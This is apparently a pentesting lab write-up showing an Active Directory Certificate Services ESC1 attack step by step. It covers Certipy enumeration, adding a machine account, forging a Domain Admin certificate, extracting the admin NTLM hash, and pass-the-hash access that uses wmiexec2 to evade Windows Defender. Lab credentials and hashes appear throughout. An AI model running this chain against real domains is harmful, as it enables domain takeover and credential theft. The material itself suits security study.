> For the complete documentation index, see [llms.txt](https://notes.cavementech.com/pentesting-quick-reference/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.cavementech.com/pentesting-quick-reference/active-directory-pentesting/active-directory/active-directory-certificate-services-ad-cs-attacks.md). # Active Directory Certificate Services (AD CS) attacks ## Exploiting ADCS Misconfigurations ### 1. Enumerating ADCS Vulnerabilities When BloodHound does not show a direct ACL-based path, **ADCS (Active Directory Certificate Services)** is a primary target. Misconfigured certificate templates can allow low-privileged users to impersonate high-privileged users. #### 1.1 Using Certipy The standard tool for auditing ADCS is **Certipy** (called `certipy-ad` on Kali). **Command:** ``` certipy-ad find -u 'brandon_boyd@anomaly.hsm' -p '3edc4rfv#EDC$RFV' -dc-ip 10.1.234.184 -text -enabled -hide-admins -vulnerable ``` * **`-vulnerable`**: Filters the output to show only templates with potential exploit paths (e.g., ESC1, ESC2, ESC3, etc.).

``` ──(kali㉿kali)-[~/Desktop/anomaly] └─$ cat 20260804124904_Certipy.txt Certificate Authorities 0 CA Name : anomaly-ANOMALY-DC-CA-2 DNS Name : Anomaly-DC.anomaly.hsm Certificate Subject : CN=anomaly-ANOMALY-DC-CA-2, DC=anomaly, DC=hsm Certificate Serial Number : 3F1A258E7CADC7AE4C54650883521D22 Certificate Validity Start : 2025-09-21 21:25:39+00:00 Certificate Validity End : 2124-09-21 21:35:38+00:00 Web Enrollment HTTP Enabled : False HTTPS Enabled : False User Specified SAN : Disabled Request Disposition : Issue Enforce Encryption for Requests : Enabled Active Policy : CertificateAuthority_MicrosoftDefault.Policy Permissions Access Rights Enroll : ANOMALY.HSM\Authenticated Users Certificate Templates 0 Template Name : CertAdmin Display Name : CertAdmin Certificate Authorities : anomaly-ANOMALY-DC-CA-2 Enabled : True Client Authentication : True Enrollment Agent : False Any Purpose : False Enrollee Supplies Subject : True Certificate Name Flag : EnrolleeSuppliesSubject Enrollment Flag : IncludeSymmetricAlgorithms PublishToDs Private Key Flag : ExportableKey Extended Key Usage : Client Authentication Secure Email Encrypting File System Requires Manager Approval : False Requires Key Archival : False Authorized Signatures Required : 0 Schema Version : 2 Validity Period : 99 years Renewal Period : 650430 hours Minimum RSA Key Length : 2048 Template Created : 2025-09-21T17:57:59+00:00 Template Last Modified : 2025-09-21T17:58:00+00:00 Permissions Object Control Permissions Full Control Principals : ANOMALY.HSM\Domain Computers Write Owner Principals : ANOMALY.HSM\Domain Computers Write Dacl Principals : ANOMALY.HSM\Domain Computers [+] User Enrollable Principals : ANOMALY.HSM\Domain Computers [+] User ACL Principals : ANOMALY.HSM\Domain Computers [!] Vulnerabilities ESC1 : Enrollee supplies subject and template allows client authentication. ESC4 : User has dangerous permissions. ``` **Findings:** The scan identified the **`CertAdmin`** template as vulnerable to **ESC1**. * **ESC1 Criteria:** The template allows the requester to specify a **Subject Alternative Name (SAN)**. If a user can enroll in this template, they can request a certificate as any user (including a Domain Admin). * As we can enrol a computer and give it permissions. *** ### 2. Exploiting ESC1 #### 2.1 Prerequisite: Adding a Computer Account {% embed url="" %} The `CertAdmin` template ACL revealed that only **Domain Computers** have enrollment rights. Since Brandon Boyd is a **Domain User**, we must first add a machine account we control. Check if we can add a computer ``` netexec ldap 10.1.234.184 -u brandon_boyd -p '3edc4rfv#EDC$RFV' -M maq ```

**Command (using Impacket):** ``` impacket-addcomputer 'anomaly.hsm/brandon_boyd:3edc4rfv#EDC$RFV' -dc-ip 10.1.234.184 -computer-name 'Hacksmarter' -computer-pass 'Hacksmarter123!' ``` *Note: This works if the `MachineAccountQuota` is greater than 0 (default is 10).*

#### Also get the SID of target user ``` impacket-lookupsid anomaly.hsm/brandon_boyd:'3edc4rfv#EDC$RFV'@10.1.234.184 ```

#### 2.2 Requesting the Admin Certificate Using the new computer account, we request a certificate impersonating the Domain Admin (**AnnaMolly**). **Command:** ``` certipy-ad req \ -u 'Hacksmarter$@anomaly.hsm' \ -p 'Hacksmarter123!' \ -dc-ip 10.1.234.184 \ -ca 'anomaly-ANOMALY-DC-CA-2' \ -template 'CertAdmin' \ -upn 'Anna_Molly@anomaly.hsm' \ -sid 'S-1-5-21-1496966362-3320961333-4044918980-1105' ```

#### 2.3 Authenticating via PFX Once the `.pfx` file is received, authenticate to the KDC to retrieve the NTLM hash of the admin user. **Command:** ``` certipy-ad auth -pfx anna_molly.pfx -dc-ip 10.1.234.184 ```

*Result: Returns the NTLM hash for the user AnnaMolly.* ``` aad3b435b51404eeaad3b435b51404ee:be4bf3131851aee9a424c58e02879f6e ``` Let us try evil-winrm, which failed. ``` evil-winrm -i 10.1.234.184 -u 'anna_molly' -H 'be4bf3131851aee9a424c58e02879f6e' ```

wmiexec also fails ``` impacket-wmiexec 'anomaly.hsm/anna_molly@10.1.234.184' -hashes 'aad3b435b51404eeaad3b435b51404ee:be4bf3131851aee9a424c58e02879f6e' ``` ### 3. Evasion & Final Access The target is running **Windows Defender**, which may block standard tools like `psexec` or `wmiexec`. #### 3.1 Bypassing Defender with `wmiexec2` Standard Impacket `wmiexec` is often flagged. The tool **`wmiexec2`** uses obfuscation to evade detection. {% embed url="" %} **Setup & Execution:** ``` git clone https://github.com/ice-wzl/wmiexec2 sudo python3 -m venv venv source venv/bin/activate pip3 install -r requirements.txt ``` ``` python3 wmiexec2.py \ 'ANOMALY.HSM/anna_molly@Anomaly-DC.anomaly.hsm' \ -hashes aad3b435b51404eeaad3b435b51404ee:be4bf3131851aee9a424c58e02879f6e \ -no-pass \ -debug ```